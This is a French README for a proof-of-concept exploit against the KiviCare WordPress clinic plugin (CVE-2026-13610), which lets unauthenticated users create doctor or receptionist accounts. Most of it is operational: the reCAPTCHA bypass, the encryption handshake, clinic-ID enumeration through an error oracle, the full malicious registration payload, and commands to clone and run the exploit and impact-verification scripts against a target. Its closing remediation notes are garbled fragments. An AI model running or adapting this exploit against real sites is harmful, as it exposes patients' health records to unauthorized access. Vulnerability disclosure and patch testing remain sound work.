
PoC d’exploitation pour la création non authentifiée de comptes médecin/réceptionniste dans le plugin WordPress KiviCare via une gestion des privilèges inappropriée, offrant un accès aux PHI au niveau du personnel.
CWE-269 (Gestion de privilèges inappropriée) | Enregistrement non authentifié avec un rôle de personnel choisi par l'attaquant → divulgation des PHI des patients
Vulnérabilité critique dans le plugin WordPress KiviCare – Clinic & Patient Management System (versions jusqu'à 4.5.1 incluse) qui permet à des attaquants non authentifiés d'enregistrer un compte de médecin (kiviCare_doctor) ou de réceptionniste (kiviCare_receptionist) avec un mot de passe choisi, mappé dans une clinique de leur choix.
La vulnérabilité existe parce que le point de terminaison d'enregistrement public prend le paramètre user_role directement depuis le corps de la requête, et que sa liste blanche de validation inclut les rôles du personnel de la clinique :
| Élément | Ce qu'il fait | Résultat |
|---|---|---|
permission_callback | Aucun is_user_logged_in(), aucun nonce, aucune vérification de capacité | Passe ; se termine par return true |
Liste blanche user_role | Accepte kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | L'attaquant sélectionne un rôle du personnel |
Paramètre patient_role_only | Déclaré avec le défaut yes | Jamais lu — paramètre mort |
| reCAPTCHA | Validé uniquement if (isset($params['recaptchaToken'])) | Contourné en omettant le paramètre |
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-13610 |
| CWE | CWE-269 (Gestion de privilèges inappropriée) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Versions concernées | Jusqu'à 4.5.1 incluse |
| Corrigée | Non confirmé au moment de cette analyse |
| Type | Création de compte non authentifiée avec un rôle du personnel (élévation de privilèges) |
| Chercheur | Sai Praneeth Koti |
| Publiée | 2026 |
Le point de terminaison d'enregistrement POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) n'est protégé que par
checkRegistrationPermission() (:602–650), qui :
true immédiatement si users_can_register est activé (aucune vérification d'authentification).KCOption::get() retourne null sur les installations par défaut.return true à la fin de la fonction.Le gestionnaire register() (:1277–1387) lit ensuite user_role depuis le
corps de la requête, le mappe aux modèles KCDoctor / KCReceptionist, puis appelle
$model->save() — qui exécute wp_insert_user() et
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sans aucune
vérification d'autorisation. Le compte résultant est actif et mappé
à la clinique choisie par l'attaquant.
Le chiffrement E2EE du corps de requête du plugin n'est pas un obstacle : les points de terminaison
d'établissement de liaison (server-key, config/register-key) ne sont pas authentifiés
(app/controllers/api/ConfigController.php:190–205), donc n'importe quel client peut
négocier une clé invité et envoyer une charge utile chiffrée.
Procédure complète : analysis/TECHNICAL_ANALYSIS.md
1. Établissement de liaison (cibles chiffrées) :
POST /wp-json/kivicare/v1/server-key -> clé publique X25519 du serveur
POST /wp-json/kivicare/v1/config/register-key -> enregistrer sa propre clé publique
(en-tête x_kc_client_id: <quelque chose>, corps {"public_key": "<base64>"})
2. Énumérer un identifiant de clinique valide via l'oracle de validation :
"Invalid clinic selected" -> la clinique n'existe pas
"Username already exists" -> la clinique existe
3. Chiffrer la charge utile et l'envoyer :
POST /wp-json/kivicare/v1/auth/register
corps = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- paramètre vulnérable
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> compte de médecin actif créé
5. Connexion via wp-login.php ou REST /auth/login -> accès du personnel aux PHI des patients
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Le script détecte automatiquement le mode de transport (JSON simple vs chiffré E2EE)
et énumère les identifiants de clinique lorsque --clinic n'est pas fourni.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Se connecte via REST, réassocie la clé de réponse E2EE du compte, puis appelle
les points de terminaison réservés au personnel (/patients, /appointments).
--url URL de base de la cible (requis)
--username Nom d'utilisateur à créer (défaut : attacker<aléatoire>)
--email Adresse e-mail (défaut : <username>@evil.example)
--password Mot de passe (défaut : Poc!Passw0rd-2026)
--role kiviCare_doctor (défaut) | kiviCare_receptionist | kiviCare_patient
--clinic Identifiant de clinique (auto-énuméré si omis)
--mobile Numéro de mobile (défaut : +1555... aléatoire)
--first-name Prénom (défaut : Dr)
--last-name Nom de famille (défaut : Poc)
--gender Genre (défaut : male)
--no-verify Ignorer la vérification de connexion après la création
Une exploitation réussie produit un compte de personnel actif mappé dans une vraie clinique, sans aucune authentification requise :
wp-admin (read +
upload_files) — une porte d'entrée pour d'autres attaquesLe point de terminaison ne permet pas de créer un compte WordPress administrator
(la liste blanche user_role le rejette), mais le rôle de médecin est suffisant pour
un accès complet aux données cliniques.
patient_role_onlycurrent_user_can('create_users') + vérification de noncecheckRegistrationPermission — supprimer le
return true de secoursrecaptchaToken lorsque reCAPTCHA est activé (actuellement facultatif)